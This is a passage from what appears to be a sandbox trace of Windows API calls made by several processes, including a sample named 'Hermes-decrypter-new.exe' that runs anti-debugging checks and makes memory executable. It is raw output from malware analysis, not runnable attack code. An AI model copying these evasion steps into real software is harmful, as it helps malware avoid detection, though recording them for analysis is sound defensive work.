(lpMsg=0x19ee88) returned 0x0 [0137.250] GetWindowThreadProcessId (in: hWnd=0x401f8, lpdwProcessId=0x19eab4 | out: lpdwProcessId=0x19eab4) returned 0xf30 [0137.250] GetCurrentThreadId () returned 0xf30 [0137.250] GetWindowThreadProcessId (in: hWnd=0x401f8, lpdwProcessId=0x19eab4 | out: lpdwProcessId=0x19eab4) returned 0xf30 [0137.250] GetCurrentThreadId () returned 0xf30 [0137.250] LocalFree (hMem=0xfda318) returned 0x0 [0137.250] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x201a, wParam=0x14, lParam=0xfda318) returned 0x0 [0137.250] PeekMessageW (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee88) returned 1 [0137.251] GetMessageA (in: lpMsg=0x19ee88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee88) returned 0 [0137.251] CoTaskMemAlloc (cb=0xbb) returned 0xfabee0 [0137.257] CoTaskMemAlloc (cb=0x12) returned 0x104eb30 [0137.260] DestroyCursor (hCursor=0xc0131) returned 1 [0137.260] GetWindowLongW (hWnd=0x7002e, nIndex=-20) returned 590208 [0137.260] DestroyWindow (hWnd=0x7002e) returned 1 [0137.261] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0137.261] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x46, wParam=0x0, lParam=0x19ec04) returned 0x0 [0137.263] GetWindowPlacement (in: hWnd=0x7002e, lpwndpl=0x19e930 | out: lpwndpl=0x19e930) returned 1 [0137.264] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x47, wParam=0x0, lParam=0x19ec04) returned 0x0 [0137.265] GetClientRect (in: hWnd=0x7002e, lpRect=0x19e8e0 | out: lpRect=0x19e8e0) returned 1 [0137.265] GetWindowRect (in: hWnd=0x7002e, lpRect=0x19e8e0 | out: lpRect=0x19e8e0) returned 1 [0137.265] PostThreadMessageW (idThread=0xf30, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0137.265] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0137.266] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0137.266] DestroyWindow (hWnd=0x6004e) returned 1 [0137.266] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0137.266] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0137.266] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0139.033] GetCurrentThreadId () returned 0xf30 [0139.033] EnumThreadWindows (dwThreadId=0xf30, lpfn=0x5497df6, lParam=0x0) returned 1 [0139.033] IsWindowVisible (hWnd=0x60030) returned 0 [0139.033] IsWindowVisible (hWnd=0x9004a) returned 0 [0139.033] GetCurrentThreadId () returned 0xf30 [0139.034] GetCurrentThreadId () returned 0xf30 [0139.034] EnumThreadWindows (dwThreadId=0xf30, lpfn=0x5497f36, lParam=0x0) returned 1 [0139.034] IsWindowVisible (hWnd=0x60030) returned 0 [0139.034] IsWindowVisible (hWnd=0x9004a) returned 0 [0139.355] OleUninitialize () [0139.355] CloseHandle (hObject=0x320) returned 1 [0139.355] DeactivateActCtx (dwFlags=0x0, ulCookie=0x13060002) returned 1 [0139.355] GetCurrentProcess () returned 0xffffffff [0139.356] GetCurrentProcess () returned 0xffffffff [0139.356] HeapFree (in: hHeap=0x2b80000, dwFlags=0x0, lpMem=0x2b80fe8 | out: hHeap=0x2b80000) returned 1 [0139.357] HeapFree (in: hHeap=0x2b80000, dwFlags=0x0, lpMem=0x2b80fd0 | out: hHeap=0x2b80000) returned 1 [0139.357] HeapFree (in: hHeap=0x2b80000, dwFlags=0x0, lpMem=0x2b81fc0 | out: hHeap=0x2b80000) returned 1 [0139.357] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x744c0000 [0139.357] GetProcAddress (hModule=0x744c0000, lpProcName="CorExitProcess") returned 0x744d21f0 [0139.359] CoGetContextToken (in: pToken=0x19fb08 | out: pToken=0x19fb08) returned 0x0 [0139.359] CObjectContext::QueryInterface () returned 0x0 [0139.359] CObjectContext::GetCurrentThreadType () returned 0x0 [0139.359] Release () returned 0x0 [0139.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0xf71690*=0x1b4, lpdwindex=0x19f9ac | out: lpdwindex=0x19f9ac) returned 0x0 [0139.360] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0140.086] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x29905a8 | out: hHeap=0x2990000) returned 1 [0140.087] HeapFree (in: hHeap=0x2b80000, dwFlags=0x0, lpMem=0x2b805a8 | out: hHeap=0x2b80000) returned 1 Thread: id = 2 os_tid = 0x37c [0054.425] GetCurrentProcess () returned 0xffffffff [0086.083] GetCurrentProcess () returned 0xffffffff [0086.924] GetCurrentProcess () returned 0xffffffff [0087.255] GetCurrentProcess () returned 0xffffffff Thread: id = 3 os_tid = 0x368 Thread: id = 4 os_tid = 0xd20 [0066.010] GetCurrentProcess () returned 0xffffffff [0066.011] GetCurrentProcess () returned 0xffffffff [0066.012] CoGetContextToken (in: pToken=0x505fc74 | out: pToken=0x505fc74) returned 0x800401f0 [0066.012] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0066.012] RoInitialize () returned 0x1 [0066.012] RoUninitialize () returned 0x0 [0088.120] CloseHandle (hObject=0x300) returned 1 [0088.120] CloseHandle (hObject=0x310) returned 1 [0088.120] CloseHandle (hObject=0x318) returned 1 [0088.120] CloseHandle (hObject=0x30c) returned 1 [0088.120] CloseHandle (hObject=0x2fc) returned 1 [0088.120] CloseHandle (hObject=0x308) returned 1 [0088.121] CloseHandle (hObject=0x314) returned 1 [0088.121] CloseHandle (hObject=0x304) returned 1 [0101.294] CertFreeCertificateContext (pCertContext=0x101a998) returned 1 [0101.295] CertFreeCertificateContext (pCertContext=0x101ac18) returned 1 [0101.295] CertFreeCertificateContext (pCertContext=0x101b028) returned 1 [0101.295] CertFreeCertificateContext (pCertContext=0x101af38) returned 1 [0101.295] CloseHandle (hObject=0x588) returned 1 [0101.295] CloseHandle (hObject=0x584) returned 1 [0101.296] CloseHandle (hObject=0x524) returned 1 [0101.296] CloseHandle (hObject=0x520) returned 1 [0101.296] CloseHandle (hObject=0x5d8) returned 1 [0101.297] CloseHandle (hObject=0x428) returned 1 [0101.297] CloseHandle (hObject=0x424) returned 1 [0101.297] CloseHandle (hObject=0x40c) returned 1 [0101.297] CloseHandle (hObject=0x41c) returned 1 [0101.298] CloseHandle (hObject=0x300) returned 1 [0101.298] CertCloseStore (hCertStore=0x1016cf8, dwFlags=0x0) returned 1 [0101.298] CloseHandle (hObject=0x310) returned 1 [0101.298] CloseHandle (hObject=0x318) returned 1 [0101.298] CloseHandle (hObject=0x308) returned 1 [0101.298] CloseHandle (hObject=0x314) returned 1 [0101.299] CertFreeCertificateContext (pCertContext=0x101af38) returned 1 [0139.479] SetWindowLongW (hWnd=0x401f8, nIndex=-4, dwNewLong=1952448832) returned 88689294 [0139.480] SetClassLongW (hWnd=0x401f8, nIndex=-24, dwNewLong=1952448832) returned 0x5494a66 [0139.480] PostMessageW (hWnd=0x401f8, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0139.481] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0139.481] UnregisterClassW (lpClassName="WindowsForms10.Window.0.app.0.141b42a_r11_ad1", hInstance=0x400000) returned 1 [0139.481] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0139.481] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", hInstance=0x400000) returned 0 [0139.481] EtwEventUnregister (RegHandle=0xfba310) returned 0x0 [0139.481] EtwEventUnregister (RegHandle=0xfde858) returned 0x0 [0139.483] IsWindow (hWnd=0x60030) returned 1 [0139.484] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74b70000 [0139.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x505fa14, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWþq\x9fu¦fðù¼s\x98ü\x05\x05\x01", lpUsedDefaultChar=0x0) returned 14 [0139.484] GetProcAddress (hModule=0x74b70000, lpProcName="DefWindowProcW") returned 0x74600140 [0139.485] SetWindowLongW (hWnd=0x60030, nIndex=-4, dwNewLong=1952448832) returned 88689454 [0139.485] SetClassLongW (hWnd=0x60030, nIndex=-24, dwNewLong=1952448832) returned 0x5494b2e [0139.485] IsWindow (hWnd=0x60030) returned 1 [0139.486] DestroyWindow (hWnd=0x60030) returned 0 [0139.486] PostMessageW (hWnd=0x60030, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0139.486] SetConsoleCtrlHandler (HandlerRoutine=0x5494b06, Add=0) returned 1 [0140.068] DestroyCursor (hCursor=0x38008b) returned 1 [0140.068] GdipDeleteFont (font=0x554ef48) returned 0x0 [0140.069] DeleteObject (ho=0x320a06fb) returned 1 [0140.069] CloseHandle (hObject=0x4d4) returned 1 [0140.069] RegCloseKey (hKey=0x4d0) returned 0x0 [0140.070] CloseHandle (hObject=0x4cc) returned 1 [0140.070] RegCloseKey (hKey=0x4c8) returned 0x0 [0140.070] CloseHandle (hObject=0x4c4) returned 1 [0140.070] RegCloseKey (hKey=0x4c0) returned 0x0 [0140.070] RegCloseKey (hKey=0x4bc) returned 0x0 [0140.071] CloseHandle (hObject=0x4a4) returned 1 [0140.071] CloseHandle (hObject=0x304) returned 1 [0140.071] UnmapViewOfFile (lpBaseAddress=0x8380000) returned 1 [0140.071] setsockopt (s=0x6bc, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0140.072] closesocket (s=0x6bc) returned 0 [0140.073] setsockopt (s=0x498, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0140.073] closesocket (s=0x498) returned 0 [0140.073] CloseHandle (hObject=0x49c) returned 1 [0140.074] setsockopt (s=0x5cc, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0140.074] closesocket (s=0x5cc) returned 0 [0140.074] CloseHandle (hObject=0x5d0) returned 1 [0140.074] setsockopt (s=0x490, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0140.074] closesocket (s=0x490) returned 0 [0140.075] CloseHandle (hObject=0x494) returned 1 [0140.075] setsockopt (s=0x5c0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0140.075] closesocket (s=0x5c0) returned 0 [0140.075] CloseHandle (hObject=0x5c8) returned 1 [0140.076] FreeCredentialsHandle (phCredential=0x2fcc8f4) returned 0x0 [0140.076] DeleteSecurityContext (phContext=0x2fccaac) returned 0x0 [0140.077] setsockopt (s=0x5b8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0140.077] closesocket (s=0x5b8) returned 0 [0140.080] RegCloseKey (hKey=0x80000004) returned 0x0 [0140.081] CloseHandle (hObject=0x7b4) returned 1 [0140.081] setsockopt (s=0x6fc, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0140.081] closesocket (s=0x6fc) returned 0 [0140.082] WinHttpCloseHandle (hInternet=0x82ab340) returned 1 [0140.083] CloseHandle (hObject=0x4d8) returned 1 [0140.084] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 5 os_tid = 0xdb0 [0080.888] GetCurrentProcess () returned 0xffffffff [0080.888] GetCurrentProcess () returned 0xffffffff [0080.889] GetCurrentProcess () returned 0xffffffff [0080.889] GetCurrentProcess () returned 0xffffffff [0080.890] GetCurrentProcess () returned 0xffffffff [0080.896] GetCurrentProcess () returned 0xffffffff [0080.897] GetCurrentProcess () returned 0xffffffff [0080.901] GetCurrentProcess () returned 0xffffffff [0080.901] GetCurrentProcess () returned 0xffffffff [0080.902] GetCurrentProcess () returned 0xffffffff [0080.902] GetCurrentProcess () returned 0xffffffff Thread: id = 6 os_tid = 0x8e8 Thread: id = 7 os_tid = 0x9fc Thread: id = 8 os_tid = 0xdb4 Thread: id = 9 os_tid = 0xc48 [0095.848] GetCurrentProcess () returned 0xffffffff [0095.849] GetCurrentProcess () returned 0xffffffff [0095.850] GetCurrentProcess () returned 0xffffffff [0095.850] GetCurrentProcess () returned 0xffffffff [0095.851] GetCurrentProcess () returned 0xffffffff [0095.851] GetCurrentProcess () returned 0xffffffff Thread: id = 10 os_tid = 0xdc8 [0095.799] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0095.799] RoInitialize () returned 0x1 [0095.799] RoUninitialize () returned 0x0 [0095.801] ResetEvent (hEvent=0x2fc) returned 1 Thread: id = 11 os_tid = 0xf9c Thread: id = 12 os_tid = 0xeb0 [0131.543] GetCurrentProcess () returned 0xffffffff [0131.544] GetCurrentProcess () returned 0xffffffff Thread: id = 13 os_tid = 0xf80 Thread: id = 14 os_tid = 0xe90 [0131.831] GetCurrentProcess () returned 0xffffffff [0131.831] GetCurrentProcess () returned 0xffffffff [0131.832] GetCurrentProcess () returned 0xffffffff [0131.833] GetCurrentProcess () returned 0xffffffff [0131.833] GetCurrentProcess () returned 0xffffffff [0131.834] GetCurrentProcess () returned 0xffffffff [0131.836] GetCurrentProcess () returned 0xffffffff [0131.836] GetCurrentProcess () returned 0xffffffff [0132.035] GetCurrentProcess () returned 0xffffffff [0132.036] GetCurrentProcess () returned 0xffffffff [0132.036] GetCurrentProcess () returned 0xffffffff [0132.037] GetCurrentProcess () returned 0xffffffff [0132.048] GetCurrentProcess () returned 0xffffffff [0132.049] GetCurrentProcess () returned 0xffffffff [0132.050] GetCurrentProcess () returned 0xffffffff [0132.051] GetCurrentProcess () returned 0xffffffff [0132.052] GetCurrentProcess () returned 0xffffffff [0132.073] GetCurrentProcess () returned 0xffffffff [0132.073] GetCurrentProcess () returned 0xffffffff Thread: id = 33 os_tid = 0xfd4 [0140.085] SleepEx (dwMilliseconds=0x14, bAlertable=0) Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x49d1f000" os_pid = "0x5f0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xf4c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fac7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 15 os_tid = 0x3fc Thread: id = 16 os_tid = 0x3d8 Thread: id = 17 os_tid = 0x3cc Thread: id = 18 os_tid = 0xa2c Thread: id = 19 os_tid = 0xa14 Thread: id = 20 os_tid = 0x8dc Thread: id = 21 os_tid = 0x8d4 Thread: id = 22 os_tid = 0x520 Thread: id = 23 os_tid = 0x67c Thread: id = 24 os_tid = 0x678 Thread: id = 25 os_tid = 0x644 Thread: id = 26 os_tid = 0x640 Thread: id = 27 os_tid = 0x63c Thread: id = 28 os_tid = 0x5f4 Process: id = "3" image_name = "hermes-decrypter-new.exe" filename = "c:\\fd1hvy\\hermes-decrypter-new.exe" page_root = "0xb744000" os_pid = "0xc14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf4c" cmd_line = "\"C:\\FD1HVy\\Hermes-decrypter-new.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0x390 [0136.358] LocalAlloc (uFlags=0x0, uBytes=0xa8) returned 0xea08a0 [0136.366] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0136.376] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0136.383] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff14 | out: Wow64Process=0x19ff14) returned 1 [0136.386] IsDebuggerPresent () returned 0 [0136.386] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x19fdf0 | out: pbDebuggerPresent=0x19fdf0) returned 1 [0136.388] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x19fac0, ProcessInformationLength=0x8, ReturnLength=0x19fec0 | out: ProcessInformation=0x19fac0, ReturnLength=0x19fec0) returned 0xc0000353 [0136.455] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0136.455] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x19fed0, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x19fed0, ResultLength=0x0) returned 0x0 [0136.456] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x19fee0, Length=0x0, ResultLength=0x19fec8 | out: SystemInformation=0x19fee0, ResultLength=0x19fec8*=0x9fc4) returned 0xc0000004 [0136.456] LocalAlloc (uFlags=0x0, uBytes=0x13f88) returned 0xeac5e0 [0136.456] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0xeac5e0, Length=0x13f88, ResultLength=0x0 | out: SystemInformation=0xeac5e0, ResultLength=0x0) returned 0x0 [0136.536] LocalFree (hMem=0xeac5e0) returned 0x0 [0136.719] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x19fb08, nSize=0xfe | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0136.720] NtOpenFile (in: FileHandle=0x19fabc, DesiredAccess=0x80100080, ObjectAttributes=0x19fa80*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\FD1HVy\\Hermes-decrypter-new.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19faac, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0x19fabc*=0x148, IoStatusBlock=0x19faac*(Status=0x0, Pointer=0x20100000000, Information=0x1)) returned 0x0 [0136.720] NtCreateSection (in: SectionHandle=0x19fab8, DesiredAccess=0x4, ObjectAttributes=0x19fa90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x148 | out: SectionHandle=0x19fab8*=0x14c) returned 0x0 [0136.721] NtMapViewOfSection (in: SectionHandle=0x14c, ProcessHandle=0xffffffffffffffff, BaseAddress=0x19faac*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x19fdbc00000000, ViewSize=0x19faa4*=0x0, InheritDisposition=0x100000000, AllocationType=0x0, AccessProtection=0x0 | out: BaseAddress=0x19faac*=0x0, SectionOffset=0x19fdbc00000000, ViewSize=0x19faa4*=0x0) returned 0xc00000f6 [0136.721] NtClose (Handle=0x14c) returned 0x0 [0136.721] NtClose (Handle=0x148) returned 0x0 [0136.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x40, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x20) returned 0x0 [0136.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x2) returned 0x0 [0136.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x40, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x20) returned 0x0 [0136.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x80) returned 0x0 [0136.730] LocalAlloc (uFlags=0x0, uBytes=0x3e6c) returned 0xeac5e0 [0137.272] LocalFree (hMem=0xeac5e0) returned 0x0 [0137.273] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75e90000 [0137.274] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.274] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.274] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.274] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.274] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.275] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.276] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77920000 [0137.277] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x75bb0000 [0137.277] GetModuleHandleA (lpModuleName="WTSAPI32.dll") returned 0x742b0000 [0137.277] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75e90000 [0137.279] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.279] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.279] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.279] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.283] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.284] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.284] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0137.285] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x74b70000 [0137.285] CloseHandle (hObject=0xdeadc0de) returned 0 [0137.286] VirtualQuery (in: lpAddress=0x8128e0, lpBuffer=0x19f0b8, dwLength=0x1c | out: lpBuffer=0x19f0b8*(BaseAddress=0x812000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x4be000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0137.286] RtlUnwind (TargetFrame=0x19ff48, TargetIp=0x4433fc, ExceptionRecord=0x0, ReturnValue=0x0) [0137.287] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xea08a0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fa94, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fa94, ResultLength=0x0) returned 0x80000002 [0137.287] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xcd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fa94, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fa94, ResultLength=0x0) returned 0x80000002 [0137.327] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x19fe9c, lpSystemAffinityMask=0x19fedc | out: lpProcessAffinityMask=0x19fe9c, lpSystemAffinityMask=0x19fedc) returned 1 [0137.328] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x1) returned 0x1 [0137.328] Sleep (dwMilliseconds=0x0) [0137.329] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x1) returned 0x1 [0137.329] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x2) returned 0x0 [0137.329] Sleep (dwMilliseconds=0x0) [0137.330] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0137.330] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x4) returned 0x0 [0137.330] Sleep (dwMilliseconds=0x0) [0137.332] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0137.333] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x8) returned 0x0 [0137.333] Sleep (dwMilliseconds=0x0) [0137.343] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0137.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19efe4 | out: lpSystemTimeAsFileTime=0x19efe4*(dwLowDateTime=0xcb55ecee, dwHighDateTime=0x1d51251)) [0137.345] GetCurrentProcessId () returned 0xc14 [0137.345] GetCurrentThreadId () returned 0x390 [0137.345] GetTickCount () returned 0x36850 [0137.345] QueryPerformanceCounter (in: lpPerformanceCount=0x19efdc | out: lpPerformanceCount=0x19efdc*=22334865620) returned 1 [0137.345] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2aa0000 [0137.346] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.346] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0137.346] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0137.346] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0137.346] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0137.346] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.346] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.346] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.347] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.347] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.347] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.347] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.347] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.347] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.347] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.348] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.348] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.348] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.348] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.349] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.349] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0137.349] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x214) returned 0x2aa05a8 [0137.349] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.349] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0137.349] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0137.350] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0137.350] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0137.350] GetCurrentThreadId () returned 0x390 [0137.350] GetCommandLineA () returned="\"C:\\FD1HVy\\Hermes-decrypter-new.exe\" " [0137.350] GetEnvironmentStringsW () returned 0xeac5e0* [0137.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 